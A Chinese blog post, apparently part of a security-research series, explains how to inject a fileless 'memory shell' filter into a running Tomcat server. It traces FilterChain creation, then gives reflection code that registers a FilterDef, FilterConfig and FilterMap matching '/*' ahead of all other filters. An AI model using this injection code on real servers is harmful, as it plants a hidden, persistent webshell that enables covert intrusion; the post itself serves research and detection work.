java内存马分析(三) Servlet内存马

admin 2022年3月31日02:36:17评论73 views字数 3753阅读12分30秒阅读模式

前言


昨天突然爆了spring的洞,断了一下,今天继续。代码已经到controller马了,但是文章才更新到Filter。有基础的最好跟着代码进度走,如果基础差点就跟着我文章来吧。我代码里面注释也写的比较多,还是比较通俗易懂的。


小弟水平有限,如有不对欢迎指出,以免误人子弟。


相关代码都放在 https://github.com/safe6Sec/MemoryShell


java内存马分析(三) Servlet内存马


前置知识


上篇文章忘记说的小知识点

  • 内存马优先级 listener->filter->servlet

  • 注意filter和servlet都需要配映射关系


本篇还有个比较重要的知识点就是过滤链。这里我不深入去讲,因为俺也不会。只需要知道所有的filter会组成一个FilterChain,每个Filter执行完之后需要执行FilterChain#doFilter放行,然后会继续进入到下一个filter,依次执行每个filter里面的doFilter()方法。就如同现实中污水过滤一层一层的。而我们实现filter内存马也就是往FilterChain里加一个filter。



FilterChain创建

先来看看FilterChain是怎么创建的。创建一个正常的filter在doFilter()方法上打个断点。

java内存马分析(三) Servlet内存马


往上跟发现filter的链式调用最开始是由FilterChain#doFilter方法进入的

java内存马分析(三) Servlet内存马


继续往上,发现了FilterChain的创建

java内存马分析(三) Servlet内存马


跟进去可以看到,会判断FilterChain有没有创建过。这里简单说一下,每次收到新请求都会来到这里。具体看别的大佬分析吧,我太菜了讲不来。

java内存马分析(三) Servlet内存马



继续分析createFilterChain代码,发现了如下关键代码。

首先从上下文对象拿到filterMaps,然后进行循环。循环过程中会去判断对应的filterConfig是否存在。存在就调用addFilter方法把filterConfig添加到FilterChain。


java内存马分析(三) Servlet内存马



也就说我们只需要把filter马加到filterMaps和filterConfigs里面就可以实现filter内存马功能。


三个重要对象

了解了FilterChain之后,我们再来看看上下文对象中filterMaps和filterConfigs。

打上断点找到我们上面分析出的两个关键对象。发现除了上面的两个对象还有个filterDefs也有点意思。

java内存马分析(三) Servlet内存马


继续展开分析,发现Filterconfig里面放的就是filterDef,而filterDef里面放的又是filter。这直接破案了

java内存马分析(三) Servlet内存马


总结一下就是:创建一个filter马,用filterDef包装一下,添加到filterConfig里面,然后再创建一个filterMap配置映射关系。


这样filter内存马就大功告成了。下面开始代码实现。


代码实现


第一步,老规矩,拿上下文对象

            //先拿到ServletContext            ServletContext servletContext = req.getServletContext();            Field appctx =servletContext.getClass().getDeclaredField("context");            appctx.setAccessible(true);
//从ServletContext里面拿到ApplicationContext ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field atx= applicationContext.getClass().getDeclaredField("context"); atx.setAccessible(true); //从ApplicationContext里面拿到StandardContext StandardContext standardContext = (StandardContext) atx.get(applicationContext);


第二步,准备filter马,取出上面提到的三个对象。

养成好习惯,暴力反射直接打开。


            //准备filter马            FilterShell filterShell = new FilterShell();
//拿到关键的三个对象 Field filterDefsField = standardContext.getClass().getDeclaredField("filterDefs"); filterDefsField.setAccessible(true); Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps"); filterMapsField.setAccessible(true); Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true);


第三步,创建def,保证filter马


            //用def包装filter            FilterDef filterDef = new FilterDef();            filterDef.setFilter(filterShell);            filterDef.setFilterName(filterShell.getClass().getName());            filterDef.setFilterClass(filterShell.getClass().getName());
//添加到上下文 standardContext.addFilterDef(filterDef);

第四步,创建config


注意ApplicationFilterConfig无法直接new,需要反射创建。

            //无法直接new,需要反射            //ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext,filterDef);            //创建filterConfig            Class<?> ac = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");            //Class<?> ac1 = this.getClass().getClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
//构造方法不是public的 Constructor constructor = ac.getDeclaredConstructor(org.apache.catalina.Context.class,org.apache.tomcat.util.descriptor.web.FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//添加到filterConfigs Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>)filterConfigsField.get(standardContext); filterConfigs.put(filterShell.getClass().getName(),filterConfig);
//改modifiers Field modifiers = filterConfigsField.getClass().getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(filterConfigsField,filterConfigsField.getModifiers() & ~Modifier.FINAL);

第五步,配置映射关系


            //配置映射关系            FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterShell.getClass().getName()); filterMap.addURLPattern("/*"); //添加到上下文 //standardContext.addFilterMap(filterMap); //添加到第一位 standardContext.addFilterMapBefore(filterMap);


最后看看效果


java内存马分析(三) Servlet内存马



java内存马分析(三) Servlet内存马



人麻了,看看现在时间

java内存马分析(三) Servlet内存马


原文始发于微信公众号(safe6安全的成长日记):java内存马分析(三) Servlet内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月31日02:36:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java内存马分析(三) Servlet内存马http://cn-sec.com/archives/857355.html

发表评论

匿名网友 填写信息